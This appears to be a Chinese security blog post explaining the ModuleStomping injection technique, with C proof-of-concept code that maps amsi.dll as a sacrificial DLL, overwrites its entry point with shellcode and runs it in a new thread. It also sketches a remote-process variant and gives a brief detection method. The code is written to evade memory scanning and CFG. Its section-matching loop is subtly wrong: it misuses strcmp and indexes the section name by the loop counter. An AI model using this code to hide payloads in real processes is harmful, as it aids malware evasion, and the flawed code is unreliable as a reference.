本期作者/ shadow
常规的注入手段通常的工作流程是,内存分配,写入载荷,执行载荷。而 ModuleStomping 注入通过利用已经 "分配" 的 RX 区域省去了内存分配的步骤,其中 shellcode 被注入到合法的牺牲(sacrificial) DLL 的 .text 段中。
优点:
-
不会使用动态分配内存相关的 API。
-
shellcode "隐藏" 在合法 DLL 代码段中。
-
shellcode 写入的内存区域类型为 image 类型,而不是可疑的私有已提交(private committed)的可执行内存。
实现原理
ModuleStomping 的主要思想就是利用已经 "分配" 的 RX 区域写入我们的 shellcode。
具体实现过程如下:
1.首先将牺牲(sacrificial) DLL 加载到目标进程。
2.判断 shellcode 的大小是否介于牺牲 DLL 的入口点到代码段(.text)尾部之间。
3.在牺牲 DLL 入口点写入 shellcode。
4.执行 DLL 入口点的 shellcode。
加载牺牲 DLL
有三种方式加载牺牲 DLL:
1.手动模拟内存加载
2.使用 LoadLibrary 加载
3.使用映射加载
方式一的缺点是加载的 DLL 存在于私有已提交可执行的内存区域中,方法二的缺点是后续执行 shellcode 的时候中可能会触发控制流保护(Control Flow Guard, CFG)机制。相对来说使用方式三更加隐蔽,将其映射为一个内存区域,后续执行的过程中不会触发 CFG。
下面的 MappingDllFile 函数实现了这个过程:
BOOL MappingDllFile(IN LPCWSTR szDllFilePath, OUT PBYTE *pModuleBase)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hFileMapping = NULL;
PVOID pMappedAddress = NULL;
do {
hFile = CreateFileW(szDllFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
break;
hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, 0);
if (hFileMapping == NULL)
break;
pMappedAddress = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
if (pMappedAddress == NULL)
break;
*pModuleBase = (PBYTE)pMappedAddress;
} while (0);
if (hFile != INVALID_HANDLE_VALUE && hFile != NULL) {
CloseHandle(hFile);
}
if (hFileMapping != NULL) {
CloseHandle(hFileMapping);
}
return *pModuleBase ? TRUE : FALSE;
}
执行前进行判断可行性
在将 shellcode 写入牺牲 DLL 的入口点前,需要确保牺牲 DLL 的入口点到代码段(.text)尾部的空间足够大,来存放 shellcode。
其中 GetModuleEntryPoint 用于获取牺牲 DLL 的入口点地址。
ULONG_PTR GetModuleEntryPoint(PVOID pModuleBase)
{
auto pImgDosHdr = (PIMAGE_DOS_HEADER)pModuleBase;
auto pImgNtHdrs = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + pImgDosHdr->e_lfanew);
return (ULONG_PTR)((PBYTE)pModuleBase + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
}
JugeFeasibility 用来判断是否满足可以写入的条件
BOOL JugeFeasibility(PVOID pModuleBase, ULONG_PTR upEntryPoint, SIZE_T sShellcodeSize)
{
auto pImgDosHdr = (PIMAGE_DOS_HEADER)pModuleBase;
auto pImgNtHdrs = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + pImgDosHdr->e_lfanew);
auto pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
ULONG_PTR upTextSecBase = NULL;
DWORD dwTextSecSize = 0;
DWORD dwTextSecLeft = 0;
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; ++i) {
if (strcmp((char *)pImgSecHdr[i].Name[i], ".text")) {
upTextSecBase = (ULONG_PTR)pModuleBase + pImgSecHdr[i].VirtualAddress;
dwTextSecSize = pImgSecHdr[i].Misc.VirtualSize;
break;
}
}
if (!upTextSecBase || !dwTextSecSize)
return FALSE;
// 计算入口点到代码段(.text)尾部的剩余空间
dwTextSecLeft = dwTextSecSize - (upEntryPoint - upTextSecBase);
// 判断是否能够容纳 shellcode
if (dwTextSecLeft >= sShellcodeSize)
return TRUE;
return FALSE;
}
写入 shellcode
一旦满足条件,就将 shellcode 写入牺牲 DLL 的入口点位置处,下面的 WriteShellcode 函数用来完成这个工作。
BOOL WriteShellcode(PVOID pAddress, PVOID pShellcodeData, SIZE_T sShellcodeSize)
{
DWORD dwOldProtection = 0;
if (!VirtualProtect(pAddress, sShellcodeSize, PAGE_READWRITE, &dwOldProtection))
return FALSE;
memcpy(pAddress, pShellcodeData, sShellcodeSize);
if (!VirtualProtect(pAddress, sShellcodeSize, dwOldProtection, &dwOldProtection))
return FALSE;
return TRUE;
}
执行 shellcode
这里使用创建线程的方式执行牺牲 DLL 的入口点代码。
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)upEntryPoint, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
测试
牺牲 DLL 选择的 "C:/windows/system32/amsi.dll"
加载该 DLL 后,在 ProcessHacker 中查看,内存区域类型为 Image 类型
其中牺牲 DLL 的入口点地址为 0x00007FF97B153F90,原始内容如下:
将 shellcode 写入后,内容如下:
扩展
如果想在远程进程中使用 ModuleStomping 技术,首先需要将一个合法的牺牲(sacrificial) DLL 注入到目标进程中,之后将牺牲 DLL 的入口点(AddressOfEntryPoint)位置处代码替换为我们的载荷(payload),最后执行该入口点处的代码。
检测
由于 ModuleStomping 会修改牺牲 DLL 的代码段数据,所以检测 ModuleStomping 最简单的方法就是将磁盘中的 DLL 原始代码段数据与内存中的 DLL 的代码段数据进行比较,只要存在不匹配就说明该 DLL 在加载后被修改。
小结
本文首先介绍了 ModuleStoming 是什么,之后列举了该种注入手段的优点,随后说明了其核心的实现思路和拆解了具体实现的步骤,然后对该注入手段的Poc进行了测试,并提出一个扩展如何实现远程进程的 ModuleStoming,最后给出了一个检测思路。
原文始发于微信公众号(蛇矛实验室):ModuleStomping
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论